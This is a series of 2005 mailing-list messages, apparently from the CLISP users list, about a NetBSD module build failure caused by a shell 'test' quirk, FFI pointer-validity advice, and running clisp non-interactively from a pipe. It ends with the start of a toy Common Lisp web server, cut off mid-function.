CLISP="`pwd`/lisp.run -M `pwd`/lispinit.mem -B `pwd` -N `pwd`/locale -Efile UTF-8 -Eterminal UTF-8 -norc" ; cd i18n ; dots=`echo i18n/ | sed -e 's,[^/][^/]*//*,../,g' -e 's,/$,,g'` ; make clisp-module CC="gcc" CPPFLAGS="-I/usr/local/include -I/usr/pkg/include" CFLAGS="-W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNICODE -I." INCLUDES="$dots" CLFLAGS="-L/usr/local/lib -L/usr/pkg/lib  -x none" LIBS="/usr/pkg/lib/libintl.so -lc -Wl,-rpath -Wl,/usr/pkg/lib libcharset.a /usr/pkg/lib/libreadline.so -Wl,-rpath -Wl,/usr/pkg/lib -lncurses  /usr/pkg/lib/libiconv.so -Wl,-rpath -Wl,/usr/pkg/lib -L/usr/local/lib -lsigsegv -lc" RANLIB="ranlib" CLISP="$CLISP -q"
make: don't know how to make clisp-module. Stop

make: stopped in /home/magnus/noarchive/src/clisp-cvs/build/i18n
*** Error code 2



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> * Magnus Henoch <znatr@serrznvy.uh> [2005-10-30 21:02:49 +0100]:
>
> I'm trying to build clisp cvs on NetBSD/powerpc, but the build stops
> at modules.

I am glad the core builds.

> I pasted the last screenfull of messages below.  What can be done
> about this?
>
> ../src/lndir ../modules/i18n i18n
> m=`cd ../modules/i18n; pwd`; if test -f i18n/configure -a i18n/configure -nt i18n/config.status ; then cd i18n ; ( cache=`echo i18n/ | sed -e 's,[^/][^/]*//*,../,g'`config.cache; if test -f ${cache} ; then . ${cache}; if test "${ac_cv_env_CC_set}" = set; then CC="${ac_cv_env_CC_value}"; export CC; fi; ./configure --cache-file=${cache} --srcdir=$m ; else ./configure --srcdir=$m ; fi ) ; fi

for some reason this does not run i18n/configure.
could you please figure out why?
thanks!

> CLISP="`pwd`/lisp.run -M `pwd`/lispinit.mem -B `pwd` -N `pwd`/locale -Efile UTF-8 -Eterminal UTF-8 -norc" ; cd i18n ; dots=`echo i18n/ | sed -e 's,[^/][^/]*//*,../,g' -e 's,/$,,g'` ; make clisp-module CC="gcc" CPPFLAGS="-I/usr/local/include -I/usr/pkg/include" CFLAGS="-W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNICODE -I." INCLUDES="$dots" CLFLAGS="-L/usr/local/lib -L/usr/pkg/lib  -x none" LIBS="/usr/pkg/lib/libintl.so -lc -Wl,-rpath -Wl,/usr/pkg/lib libcharset.a /usr/pkg/lib/libreadline.so -Wl,-rpath -Wl,/usr/pkg/lib -lncurses  /usr/pkg/lib/libiconv.so -Wl,-rpath -Wl,/usr/pkg/lib -L/usr/local/lib -lsigsegv -lc" RANLIB="ranlib" CLISP="$CLISP -q"
> make: don't know how to make clisp-module. Stop

configure was not run ==> no i18n/Makefile was generated.

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using of FFI:SET-FOREIGN-POINTER and FFI:VALIDP is necessary or is
recommended? (it are used in the postgresql, but not used in the win32)

It is possible to deduce criterion of necessity of use it?

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Yaroslav Kavenchuk wrote:
>using of FFI:SET-FOREIGN-POINTER and FFI:VALIDP is necessary or is
>recommended? (it are used in the postgresql, but not used in the win32)
Pro: Recommended. Can help debugging, protect against illegal access & document semantics.
Contra: Extra code (+run-time) not neccessary if code were correct in the first place...

>It is possible to deduce criterion of necessity of use it?

If you like fine control about lifetime, use it.

Don't use it in combination with fields dereferenced widly from other substructures, since that behaviour can become non-intuitive. Basically the base pointer of the dereferenced pointer is preserved, which need not necessarily make sense in the context of the application.

I.e. the memory pointed to by some structure element may have lifetime vastly different (esp. longer) than the structure itself.

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Dear All,

although I've programmed in other functional languages before, I'm new 
to lisp and I'm trying to implement a non-interactive system. So, 
according to the man pages, I may realise it by using switch -c. 
However, I receive the following error when executing a simple 
evaluation:

$ echo "(+ 11 99)"|clisp -q -c -
STACK depth: 16367

*** - OPEN: file #P"/Users/juan/Sites/academy/cgi-bin/-.lisp" does not 
exist


any idea?


Thanks in advance!



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> * Juan C.Acosta Guadarrama <thnqneenzn@va.gh-pynhfguny.qr> [2005-10-31 19:19:20 +0100]:
>
> according to the man pages, I may realise it by using switch
> -c.

where does the man page say that?

> However, I receive the following error when executing a simple
> evaluation:
>
> $ echo "(+ 11 99)"|clisp -q -c -
> STACK depth: 16367
>
> *** - OPEN: file #P"/Users/juan/Sites/academy/cgi-bin/-.lisp" does not
>       exist

"-c -" tries to compile a file named "-".

instead:

$ echo "(+ 11 99)"|clisp -q -norc
[1]>
110

see also http://clisp.cons.org/impnotes/quickstart.html

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Instead of

   $ echo "(+ 11 99)"|clisp -q -c -

try

   $ echo "(+ 11 99)" > "-.lisp"; clisp -q -c -

but consider using a longer, more expressive file name.

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From: "Juan C.Acosta Guadarrama" <guadarrama@in.tu-clausthal.de>
Date: Mon, 31 Oct 2005 19:19:20 +0100

Dear All,

although I've programmed in other functional languages before, I'm new 
to lisp and I'm trying to implement a non-interactive system. So, 
according to the man pages, I may realise it by using switch -c. 
However, I receive the following error when executing a simple 
evaluation:

$ echo "(+ 11 99)"|clisp -q -c -
STACK depth: 16367

*** - OPEN: file #P"/Users/juan/Sites/academy/cgi-bin/-.lisp" does not 
exist


any idea?


Thanks in advance!



-- 
Best regards,

Juan


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Date: Tue Nov  1 00:41:51 2005
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Sam Steingold writes:
> instead:
> 
> $ echo "(+ 11 99)"|clisp -q -norc
> [1]>
> 110

But isn't there a simplier way to avoid the prompt?

result=$(echo "(+ 11 99)"|clisp -ansi -q -norc|grep -v '\[1\]')
echo $result


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Date: Tue Nov  1 06:07:04 2005
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Dear All,

thank you for your valuable replies, this one is the most appropriate 
for my proposes.

Following some other comments BTW:


On 31 Oct 2005, at 20:00, Sam Steingold wrote:

>> * Juan C.Acosta Guadarrama <thnqneenzn@va.gh-pynhfguny.qr> 
>> [2005-10-31 19:19:20 +0100]:
>>
>> according to the man pages, I may realise it by using switch
>> -c.
>
> where does the man page say that?

well, it reads:

>>>        -c lispfile ...
>>>               Compiles the specified lispfiles to bytecode (*.fas).  
>>> The  com-
>>>               piled  files  can  then be loaded instead of the 
>>> sources to gain
>>>               efficiency.


then, after some other lines it reads:

>>>        lispfile [argument ...]
>>>               Loads and executes a lispfile.  There will be no 
>>> read-eval-print
>>>               loop. Before lispfile is loaded, the  variable  *args* 
>>>  will  be
>>>               bound  to  a  list  of strings, representing the 
>>> arguments.  The
>>>               first line of lispfile may start with #!, thus 
>>> permitting  clisp
>>>               to be used as a script interpreter.  If lispfile is -, 
>>> the stan-
>>>               dard input is used instead of a file.  If lispfile is 
>>> the  empty
>>>               string    or  -- the rest of the arguments is still 
>>> available in
>>>               *args* , for parsing by the init-function of the 
>>> current  image.
>>>               This option must be the last one. No RC file will be 
>>> executed.


>
>> However, I receive the following error when executing a simple
>> evaluation:
>>
>> $ echo "(+ 11 99)"|clisp -q -c -
>> STACK depth: 16367
>>
>> *** - OPEN: file #P"/Users/juan/Sites/academy/cgi-bin/-.lisp" does not
>>       exist
>
> "-c -" tries to compile a file named "-".
>
> instead:
>
> $ echo "(+ 11 99)"|clisp -q -norc
> [1]>
> 110
>
> see also http://clisp.cons.org/impnotes/quickstart.html


Thanks a lot, fine solution! I'm mounting a web-page with clisp at

http://www2.in.tu-clausthal.de/~guadarrama/updates/clisp.html

which should be available in the short term. More ideas are always 
welcome!


Best,

Jn

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> * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2005-11-01 09:40:36 +0100]:
>
> Sam Steingold writes:
>> instead:
>> 
>> $ echo "(+ 11 99)"|clisp -q -norc
>> [1]>
>> 110
>
> But isn't there a simplier way to avoid the prompt?
>
> result=$(echo "(+ 11 99)"|clisp -ansi -q -norc|grep -v '\[1\]')
> echo $result

echo "(+ 11 99)"|clisp -q -norc -

(works only in cvs head - there is a bug in the release)

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> * Juan C.Acosta Guadarrama <thnqneenzn@va.gh-pynhfguny.qr> [2005-11-01 15:05:32 +0100]:
>
> On 31 Oct 2005, at 20:00, Sam Steingold wrote:
>
>>> * Juan C.Acosta Guadarrama <thnqneenzn@va.gh-pynhfguny.qr>
>>> [2005-10-31 19:19:20 +0100]:
>>>
>>> according to the man pages, I may realise it by using switch
>>> -c.
>>
>> where does the man page say that?
>
> well, it reads:
>
>>>>        -c lispfile ...
>>>>               Compiles the specified lispfiles to bytecode (*.fas).
>>>> The  com-
>>>>               piled  files  can  then be loaded instead of the
>>>> sources to gain
>>>>               efficiency.

yes, so "clisp -c lispfile" will compile the "lispfile".


> then, after some other lines it reads:
>
>>>>        lispfile [argument ...]
>>>>               Loads and executes a lispfile.  There will be no
>>>> read-eval-print
>>>>               loop. Before lispfile is loaded, the  variable  *args*
>>>> will  be
>>>>               bound  to  a  list  of strings, representing the
>>>> arguments.  The
>>>>               first line of lispfile may start with #!, thus
>>>> permitting  clisp
>>>>               to be used as a script interpreter.  If lispfile is -, 
>>>> the stan-
>>>>               dard input is used instead of a file.  If lispfile is
>>>> the  empty
>>>>               string    or  -- the rest of the arguments is still
>>>> available in
>>>>               *args* , for parsing by the init-function of the
>>>> current  image.
>>>>               This option must be the last one. No RC file will be
>>>> executed.

yes, "clisp lispfile" will load and execute "lispfile".

where does it say that "clisp -c lispfile" will load and execute anything?

> http://www2.in.tu-clausthal.de/~guadarrama/updates/clisp.html

please also link to <http://clisp.cons.org/impnotes/>.
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On 1 Nov 2005, at 15:29, Sam Steingold wrote:

>> * Juan C.Acosta Guadarrama <thnqneenzn@va.gh-pynhfguny.qr> 
>> [2005-11-01 15:05:32 +0100]:
>>
>> On 31 Oct 2005, at 20:00, Sam Steingold wrote:
>>
>>>> * Juan C.Acosta Guadarrama <thnqneenzn@va.gh-pynhfguny.qr>
>>>> [2005-10-31 19:19:20 +0100]:
>>>>
>>>> according to the man pages, I may realise it by using switch
>>>> -c.
>>>
>>> where does the man page say that?
>>
>> well, it reads:
>>
>>>>>        -c lispfile ...
>>>>>               Compiles the specified lispfiles to bytecode (*.fas).
>>>>> The  com-
>>>>>               piled  files  can  then be loaded instead of the
>>>>> sources to gain
>>>>>               efficiency.
>
> yes, so "clisp -c lispfile" will compile the "lispfile".
>
>
>> then, after some other lines it reads:
>>
>>>>>        lispfile [argument ...]
>>>>>               Loads and executes a lispfile.  There will be no
>>>>> read-eval-print
>>>>>               loop. Before lispfile is loaded, the  variable  
>>>>> *args*
>>>>> will  be
>>>>>               bound  to  a  list  of strings, representing the
>>>>> arguments.  The
>>>>>               first line of lispfile may start with #!, thus
>>>>> permitting  clisp
>>>>>               to be used as a script interpreter.

Hi!

it reads right here:

>>>>> If lispfile is -,
>>>>> the stan-
>>>>>               dard input is used instead of a file.

So,

-c -

means:

-c lispfile

where lispfile="-"

Best,

Juan

>>>>> If lispfile is
>>>>> the  empty
>>>>>               string    or  -- the rest of the arguments is still
>>>>> available in
>>>>>               *args* , for parsing by the init-function of the
>>>>> current  image.
>>>>>               This option must be the last one. No RC file will be
>>>>> executed.
>
> yes, "clisp lispfile" will load and execute "lispfile".
>
> where does it say that "clisp -c lispfile" will load and execute 
> anything?
>
>> http://www2.in.tu-clausthal.de/~guadarrama/updates/clisp.html
>
> please also link to <http://clisp.cons.org/impnotes/>.
> <http://clisp.cons.org/clisp.html> is just an "invocation manual".
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well, perhaps switch

-c lispfile ...

should be changed to another variable name that is not described some 
rows bellow. Ie lispfile [argument ..]

Moreover, at the very same paragraph it reads that "If lispfile is -" 
(that's what I call a dash, and in unix it does mean standard input, 
although some times double dash) ", the standard input is used instead 
of a file"

I hope it helps!

Best,

Jn


On 1 Nov 2005, at 15:29, Sam Steingold wrote:

>> * Juan C.Acosta Guadarrama <thnqneenzn@va.gh-pynhfguny.qr> 
>> [2005-11-01 15:05:32 +0100]:
>>
>> On 31 Oct 2005, at 20:00, Sam Steingold wrote:
>>
>>>> * Juan C.Acosta Guadarrama <thnqneenzn@va.gh-pynhfguny.qr>
>>>> [2005-10-31 19:19:20 +0100]:
>>>>
>>>> according to the man pages, I may realise it by using switch
>>>> -c.
>>>
>>> where does the man page say that?
>>
>> well, it reads:
>>
>>>>>        -c lispfile ...
>>>>>               Compiles the specified lispfiles to bytecode (*.fas).
>>>>> The  com-
>>>>>               piled  files  can  then be loaded instead of the
>>>>> sources to gain
>>>>>               efficiency.
>
> yes, so "clisp -c lispfile" will compile the "lispfile".
>
>
>> then, after some other lines it reads:
>>
>>>>>        lispfile [argument ...]
>>>>>               Loads and executes a lispfile.  There will be no
>>>>> read-eval-print
>>>>>               loop. Before lispfile is loaded, the  variable  
>>>>> *args*
>>>>> will  be
>>>>>               bound  to  a  list  of strings, representing the
>>>>> arguments.  The
>>>>>               first line of lispfile may start with #!, thus
>>>>> permitting  clisp
>>>>>               to be used as a script interpreter.  If lispfile is 
>>>>> -,
>>>>> the stan-
>>>>>               dard input is used instead of a file.  If lispfile is
>>>>> the  empty
>>>>>               string    or  -- the rest of the arguments is still
>>>>> available in
>>>>>               *args* , for parsing by the init-function of the
>>>>> current  image.
>>>>>               This option must be the last one. No RC file will be
>>>>> executed.
>
> yes, "clisp lispfile" will load and execute "lispfile".
>
> where does it say that "clisp -c lispfile" will load and execute 
> anything?
>
>> http://www2.in.tu-clausthal.de/~guadarrama/updates/clisp.html
>
> please also link to <http://clisp.cons.org/impnotes/>.
> <http://clisp.cons.org/clisp.html> is just an "invocation manual".
>
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> * Juan C.Acosta Guadarrama <thnqneenzn@va.gh-pynhfguny.qr> [2005-11-01 15:55:05 +0100]:
>
> On 1 Nov 2005, at 15:29, Sam Steingold wrote:
>
>>> * Juan C.Acosta Guadarrama <thnqneenzn@va.gh-pynhfguny.qr>
>>> [2005-11-01 15:05:32 +0100]:
>>>
>>> On 31 Oct 2005, at 20:00, Sam Steingold wrote:
>>>
>>>>> * Juan C.Acosta Guadarrama <thnqneenzn@va.gh-pynhfguny.qr>
>>>>> [2005-10-31 19:19:20 +0100]:
>>>>>
>>>>> according to the man pages, I may realise it by using switch
>>>>> -c.
>>>>
>>>> where does the man page say that?
>>>
>>> well, it reads:
>>>
>>>>>>        -c lispfile ...
>>>>>>               Compiles the specified lispfiles to bytecode (*.fas).
>>>>>> The  com-
>>>>>>               piled  files  can  then be loaded instead of the
>>>>>> sources to gain
>>>>>>               efficiency.
>>
>> yes, so "clisp -c lispfile" will compile the "lispfile".
>>
>>
>>> then, after some other lines it reads:
>>>
>>>>>>        lispfile [argument ...]
>>>>>>               Loads and executes a lispfile.  There will be no
>>>>>> read-eval-print
>>>>>>               loop. Before lispfile is loaded, the  variable
>>>>>> *args*
>>>>>> will  be
>>>>>>               bound  to  a  list  of strings, representing the
>>>>>> arguments.  The
>>>>>>               first line of lispfile may start with #!, thus
>>>>>> permitting  clisp
>>>>>>               to be used as a script interpreter.
>
> Hi!
>
> it reads right here:
>
>>>>>> If lispfile is -,
>>>>>> the stan-
>>>>>>               dard input is used instead of a file.
>
> So,
>
> -c -
>
> means:
>
> -c lispfile
>
> where lispfile="-"

the above line ("lispfile='-' ==> ...") appears only in the "lispfile"
argument section, not "-c" argument section.
at any rate, how do you imagine compilation of standard output?
where would the compiled forms be written?

if you want your forms to be compiled before being evaluated, see the
"-C" option.

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> * Juan C.Acosta Guadarrama <thnqneenzn@va.gh-pynhfguny.qr> [2005-11-01 16:33:25 +0100]:
>
> well, perhaps switch
>
> -c lispfile ...
>
> should be changed to another variable name that is not described some
> rows bellow. Ie lispfile [argument ..]
>
> Moreover, at the very same paragraph it reads that "If lispfile is -" 
> (that's what I call a dash, and in unix it does mean standard input,
> although some times double dash) ", the standard input is used instead
> of a file"

please describe in __DETAIL__ what behavior you expected from "-c -".
i.e., what are *standard-input* &c, what is done with the input forms
&c.

if you manage to come up with something useful, it might get
implemented.



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Sam Steingold wrote:

>where would the compiled forms be written?
>  
>
stdout, of course. Then you could... uh... wonder what happened to your 
xterm.

Dave




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On 1 Nov 2005, at 17:37, Sam Steingold wrote:

>> * Juan C.Acosta Guadarrama <thnqneenzn@va.gh-pynhfguny.qr> 
>> [2005-11-01 15:55:05 +0100]:
>>
>> On 1 Nov 2005, at 15:29, Sam Steingold wrote:
>>
>>>> * Juan C.Acosta Guadarrama <thnqneenzn@va.gh-pynhfguny.qr>
>>>> [2005-11-01 15:05:32 +0100]:
>>>>
>>>> On 31 Oct 2005, at 20:00, Sam Steingold wrote:
>>>>
>>>>>> * Juan C.Acosta Guadarrama <thnqneenzn@va.gh-pynhfguny.qr>
>>>>>> [2005-10-31 19:19:20 +0100]:
>>>>>>
>>>>>> according to the man pages, I may realise it by using switch
>>>>>> -c.
>>>>>
>>>>> where does the man page say that?
>>>>
>>>> well, it reads:
>>>>
>>>>>>>        -c lispfile ...
>>>>>>>               Compiles the specified lispfiles to bytecode 
>>>>>>> (*.fas).
>>>>>>> The  com-
>>>>>>>               piled  files  can  then be loaded instead of the
>>>>>>> sources to gain
>>>>>>>               efficiency.
>>>
>>> yes, so "clisp -c lispfile" will compile the "lispfile".
>>>
>>>
>>>> then, after some other lines it reads:
>>>>
>>>>>>>        lispfile [argument ...]
>>>>>>>               Loads and executes a lispfile.  There will be no
>>>>>>> read-eval-print
>>>>>>>               loop. Before lispfile is loaded, the  variable
>>>>>>> *args*
>>>>>>> will  be
>>>>>>>               bound  to  a  list  of strings, representing the
>>>>>>> arguments.  The
>>>>>>>               first line of lispfile may start with #!, thus
>>>>>>> permitting  clisp
>>>>>>>               to be used as a script interpreter.
>>
>> Hi!
>>
>> it reads right here:
>>
>>>>>>> If lispfile is -,
>>>>>>> the stan-
>>>>>>>               dard input is used instead of a file.
>>
>> So,
>>
>> -c -
>>
>> means:
>>
>> -c lispfile
>>
>> where lispfile="-"
>
> the above line ("lispfile='-' ==> ...") appears only in the "lispfile"
> argument section, not "-c" argument section.

yes, I know. But when trying:

$ echo "(+ 11 99)"|clisp -q
STACK depth: 16367

[1]>
110

I receive what I expect, except from my Apache server. Then I tried the 
"-" option, clearly described (but perhaps not implemented) at the same 
paragraph we're talking about, and check it out:

$ echo "(+ 11 99)"|clisp -q -
STACK depth: 16367

what is that for?

Indeed, the switch you've given me before is what I expect from the 
above command, and what I find really useful for web applications:

$ echo "(+ 11 99)"|clisp -q -norc
STACK depth: 16367

[1]>
110

> at any rate, how do you imagine compilation of standard output?
> where would the compiled forms be written?

Well, I never meant standard output, but input. Sorry if I made a typo 
---I believe I didn't.


Thank you all for the discussion.

Best regards,

Jn

> if you want your forms to be compiled before being evaluated, see the
> "-C" option.



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> * Dave Newton <arjgba@cvatfvgr.pbz> [2005-11-01 12:01:36 -0500]:
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> Sam Steingold wrote:
>
>>where would the compiled forms be written?
>>
> stdout, of course. Then you could... uh... wonder what happened to your
> xterm.

clisp fas files are plain ascii (line length 79 characters).
I don't think this will mess up your xterm.

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> * Juan C.Acosta Guadarrama <thnqneenzn@va.gh-pynhfguny.qr> [2005-11-01 18:27:31 +0100]:
>
>> the above line ("lispfile='-' ==> ...") appears only in the "lispfile"
>> argument section, not "-c" argument section.
>
> yes, I know. But when trying:
>
> $ echo "(+ 11 99)"|clisp -q
> STACK depth: 16367

BTW, why did you configure "--with-debug"?

> [1]>
> 110
>
> I receive what I expect, except from my Apache server. Then I tried the
> "-" option, clearly described (but perhaps not implemented) at the same
> paragraph we're talking about, and check it out:
>
> $ echo "(+ 11 99)"|clisp -q -
> STACK depth: 16367
>
> what is that for?

well, let us think a little bit.

what does "echo ... | clisp" do?
this makes clisp run the usual REPL (since it is not told otherwise),
so CLISP prints the prompt "[1]> ", reads your input "(+ 11 99)",
evaluates it, and prints the result "110".

what does "echo ... | clisp -" do?
"-" is a "script" (aka "lispfile") argument, so there is no REPL, no
prompt, and the result is not printed.
to get some output, you need to explicitly specify that:

$ echo "(print (+ 11 99))"|clisp -q -norc -
110

try several forms in the echo:

echo "(setq x 1) (print x) (incf x) (print x)"

and pipe it to "clisp" and "clisp -"

>> at any rate, how do you imagine compilation of standard output?
>> where would the compiled forms be written?

I meant "compilation of standard input".

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Sam Steingold writes:
> > * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2005-11-01 09:40:36 +0100]:
> >
> > Sam Steingold writes:
> >> instead:
> >> 
> >> $ echo "(+ 11 99)"|clisp -q -norc
> >> [1]>
> >> 110
> >
> > But isn't there a simplier way to avoid the prompt?
> >
> > result=$(echo "(+ 11 99)"|clisp -ansi -q -norc|grep -v '\[1\]')
> > echo $result
> 
> echo "(+ 11 99)"|clisp -q -norc -
> 
> (works only in cvs head - there is a bug in the release)


Good.  In addition, I just realized that on linux, we can use this
with the current version:

$ echo "(format t \"~A~%\" (+ 11 99))"|clisp -q -norc /dev/stdin
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Sam Steingold <sds@gnu.org> writes:

> for some reason this does not run i18n/configure.
> could you please figure out why?
> thanks!

The makefile rule for building modules contains

test -f $@/configure -a $@/configure -nt $@/config.status

This works with bash, but gives incorrect results with NetBSD's sh.
Changing this to

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sorry i could not reply earlier.

> >> where is its compilation line?

gcc  -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I/lib/clisp/linkkit
-Dglobal=3D"" -c kivcparser.c -o kivcparser.o

> are you really using libm.so?

yes, there is libm.a in the /lib folder

> is kivcparser.o actually generated?

yes, it is


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> * Magnus Henoch <znatr@serrznvy.uh> [2005-11-01 20:33:22 +0100]:
>
> Sam Steingold <sds@gnu.org> writes:
>
>> for some reason this does not run i18n/configure.
>> could you please figure out why?
>> thanks!
>
> The makefile rule for building modules contains
>
> test -f $@/configure -a $@/configure -nt $@/config.status
>
> This works with bash, but gives incorrect results with NetBSD's sh.
> Changing this to
>
> test -f $@/configure -a "($@/configure -nt $@/config.status)"
>
> fixes the problem.

thanks.  I made m4/test.m4 more strict.
please try "cvs up" in a couple of hours.

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> * Dimitrios Kapanikis <qvzvgevbf.xncnavxvf@tznvy.pbz> [2005-11-01 22:17:48 +0100]:


>> is kivcparser.o actually generated?
>
> yes, it is

use "nm" to find out whether the missing function is actually there


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Oh, I see!!!

So, what I have should done from the beginning is

$ echo "(print (+ 11 99))"|clisp -
STACK depth: 16367

110


instead of just

$echo "(+ 11 99)"|clisp -


In conclusion, I think the former is the best way for an on-line 
interpreter.


BTW, have you got at hand an on-line document where I may find a list 
of all clisp built-in functions?


Thank you very much, I really appreciate your time and kind replies.

Best,

Jn


On 1 Nov 2005, at 19:14, Sam Steingold wrote:

>> * Juan C.Acosta Guadarrama <thnqneenzn@va.gh-pynhfguny.qr> 
>> [2005-11-01 18:27:31 +0100]:
>>
>>> the above line ("lispfile='-' ==> ...") appears only in the 
>>> "lispfile"
>>> argument section, not "-c" argument section.
>>
>> yes, I know. But when trying:
>>
>> $ echo "(+ 11 99)"|clisp -q
>> STACK depth: 16367
>
> BTW, why did you configure "--with-debug"?
>
>> [1]>
>> 110
>>
>> I receive what I expect, except from my Apache server. Then I tried 
>> the
>> "-" option, clearly described (but perhaps not implemented) at the 
>> same
>> paragraph we're talking about, and check it out:
>>
>> $ echo "(+ 11 99)"|clisp -q -
>> STACK depth: 16367
>>
>> what is that for?
>
> well, let us think a little bit.
>
> what does "echo ... | clisp" do?
> this makes clisp run the usual REPL (since it is not told otherwise),
> so CLISP prints the prompt "[1]> ", reads your input "(+ 11 99)",
> evaluates it, and prints the result "110".
>
> what does "echo ... | clisp -" do?
> "-" is a "script" (aka "lispfile") argument, so there is no REPL, no
> prompt, and the result is not printed.
> to get some output, you need to explicitly specify that:
>
> $ echo "(print (+ 11 99))"|clisp -q -norc -
> 110
>
> try several forms in the echo:
>
> echo "(setq x 1) (print x) (incf x) (print x)"
>
> and pipe it to "clisp" and "clisp -"
>
>>> at any rate, how do you imagine compilation of standard output?
>>> where would the compiled forms be written?
>
> I meant "compilation of standard input".
>
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> >> is kivcparser.o actually generated?
> >
> > yes, it is
>
> use "nm" to find out whether the missing function is actually there

well, nm says in kivcparser.o:

<snip>
               U _abort
               U _callback_saved_registers
               U _convert_from_foreign
               U _convert_to_foreign_nomalloc
               U _funcall
               U _kivcparser_c_javaparser
               U _kivcparser_c_parser
00000550 T _kivcparser_call_lisp_handler
               U _kivcparser_get_textpointer
               U _kivcparser_get_tokenstart
00000ac0 T _kivcparser_java_idnode

</snip>

and in lisp.exe:

<snip>
00410b73 T _kivcparser_c_javaparser
00410b29 T _kivcparser_c_parser
004118d0 T _kivcparser_call_lisp_handler
00410b15 T _kivcparser_get_textpointer
00410b1f  T _kivcparser_get_tokenstart
00411e40 T _kivcparser_java_idnode
00411ca0 T _kivcparser_java_make
00411d70 T _kivcparser_java_node
00411bf0  T _kivcparser_java_push
</snip>

and in win32-grammar.o:

<snip>
0000fb23 T _kivcparser_c_javaparser
0000fad9 T _kivcparser_c_parser
              U _kivcparser_call_lisp_handler
0000fac5 T _kivcparser_get_textpointer
0000facf  T _kivcparser_get_tokenstart
</snip>

as the errormessage of lisp.exe said, kivcparser_c_parser is not
defined in lisp.exe

does it mean kivcparser.o is not bound? because there are more
functions which are undefined in lisp.exe


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> * Juan C.Acosta Guadarrama <thnqneenzn@va.gh-pynhfguny.qr> [2005-11-02 10:21:22 +0100]:
>
> Oh, I see!!!
>
> So, what I have should done from the beginning is
>
> $ echo "(print (+ 11 99))"|clisp -
> STACK depth: 16367

why did you configure clisp with the --with-debug option?

> 110
>
>
> instead of just
>
> $echo "(+ 11 99)"|clisp -
>
>
> In conclusion, I think the former is the best way for an on-line
> interpreter.

while clisp starts quite fast, this is still suboptimal.
it's better to run a single clisp session and talk to it via a pipe.

> BTW, have you got at hand an on-line document where I may find a list
> of all clisp built-in functions?

I am not sure what you are talking about.
clisp implements ~1000 symbols mentioned in the ANSI CL spec
plus many extensions.
clisp manual is called "implementation notes" and is available at
<http://clisp.cons.org/impnotes/> in the html format.
(a single-file HTML is at http://clisp.cons.org/impnotes.html
I also offer a 405-page PDF for sale, together with commercial support &c).

First part parallels the ANSI spec and explains what choices clisp makes
when ANSI left something to the implementation.
Other parts document clisp extensions to the standard.


> Thank you very much, I really appreciate your time and kind replies.
welcome.

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   Juan C.Acosta Guadarrama <thnqneenzn@va.gh-pynhfguny.qr> [2005-11-02 10:21:22 +0100]:
...
   $ echo "(print (+ 11 99))"|clisp -
...

That starts up a new process for every transaction,
an on-line lisp listener with amnesia.

Probably better to keep the same process for the same user
who can then define functions, set globals, etc., e.g.,
this quick hack I wrote last night, see below.

		Peace
			--Devon

PS: web-server.lisp code follows.  Security implications
of arbitrary user code running in your server
are left as an exercise for the reader
but you already had that problem.

$ clisp -q -i sample-web-server.lisp

;;; sample-web-server.lisp -- Single threaded web server in Common Lisp -*- tab-width:8 -*-
;;; Copyright (c) 2005 Devon Sean McCullough
;;; Licensed under the GPL (GNU Public License)
;;; After messing with full featured servers
;;; it was faster to start from scratch.
;;; Someday maybe I'll read the RFC.

;;; BUGS:  not sure how to send a 404

(defvar *RUN*)

(defun web-server (&optional (web-server-port 80))
  (let ((tcp-listen (socket:socket-server web-server-port)))
    (do ((*RUN* t)) ((not *RUN*))
      (do ((tcp-stream (socket:socket-accept tcp-listen))
	   op url version
	   (headers '())
	   (body nil)
	   line
	   (state 0))
	  ((or (minusp state)
	       (null (setq line (read-line tcp-stream nil))))
	   (send-http-reply tcp-stream op url version (nreverse headers) body)
	   (finish-output tcp-stream)
	   (close tcp-stream))
	(format t "~&~4D ~A~&" state line)
	(cond ((zerop state)
	       (multiple-value-setq (op url version)
		 (parse-http-first-line line))
	       (setq state (cond ((zerop version)
				  (ignore-http-body tcp-stream)
				  -1)
				 (t 1))))
	      ((zerop (length line))
	       (setq body (parse-http-body tcp-stream headers)
		     state -1))
	      (t
	       (push (parse-http-header-line line) headers)
	       (setq state (1+ state))))))))

(defvar *CRLF* (map 'string #'identity #(#\Return #\LineFeed))
  "Yeah, yeah, I'd use DEFCONSTANT if it weren't constantly bitching.")

(defun send-http-reply (stream op url version headers body)
  (case op
    (get
     (cond ((null url)
	    (format stream
		    "403 Where's the URL?~A~A" *CRLF* *CRLF*))
	   ((string-equal url "/STOP")
	    (setq *RUN* nil)
	    (format stream
		    "<TITLE>Server Stopped</TITLE>
<BODY>
Sample Web Server Stopped.
<HR>
To restart the server at the CLISP prompt enter <B><PRE>(run)</PRE></B>
then use your browser's <B>&LT;BACK&GT;</B> and <B>&LT;RELOAD&GT;</B> buttons.
</BODY>"))
	   ((string-equal url "/foo")
	    (format stream "<TITLE>Foo</TITLE><BODY><H1><A HREF=\"/\">Bar</A></H1></BODY>"))
	   ((string-equal url "/bar")
	    (format stream "<TITLE>Bar</TITLE><BODY><H1><A HREF=\"/\">Baz</A></H1></BODY>"))
	   ((string-equal url "/favicon.ico")
	    (format stream  "404 Gee, where's my cute little iconette?~A~A" *CRLF* *CRLF*))
	   ((string-equal url "/")
	    (format stream
		    "<TITLE>Sample Web Server</TITLE>
<BODY>
<H1>Sample Web Server</H1>
<BR><SMALL>&copy; 2005 Devon Sean McCullough</SMALL>
<TABLE>
<TR><TD><A HREF=\"foo\">FOO</A></TD>
    <TD><A HREF=\"bar\">BAR</A></TD>
    <TD><A HREF=\"baz\">BAZ</A></TD></TR>

<TR><TD><A HREF=\"mumble\">MUMBLE</A></TD>
    <TD><A HREF=\"bletch\">BLETCH</A></TD>
    <TD><I><A HREF=\"/stop\">Click here to stop the server.</A></I></TD></TR>
</TABLE>
<BR>Sample Web Server powered by <A HREF=\"http://clisp.cons.org\"><IMG SRC=\"http://clisp.cons.org/clisp.png\" ALT=\"CLISP\"></A>
</BODY>"))	
	   (t (format stream "404 Who knows?~A~A" *CRLF* *CRLF*))))
    (t (format stream
	"501 Pardon?~A~A" *CRLF* *CRLF*))))

(defun parse-http-first-line (line)
  "Better look like \"GET /foo?bar=baz HTTP/1.1\" or we lose."
  (let* ((s1 (position #\Space line))
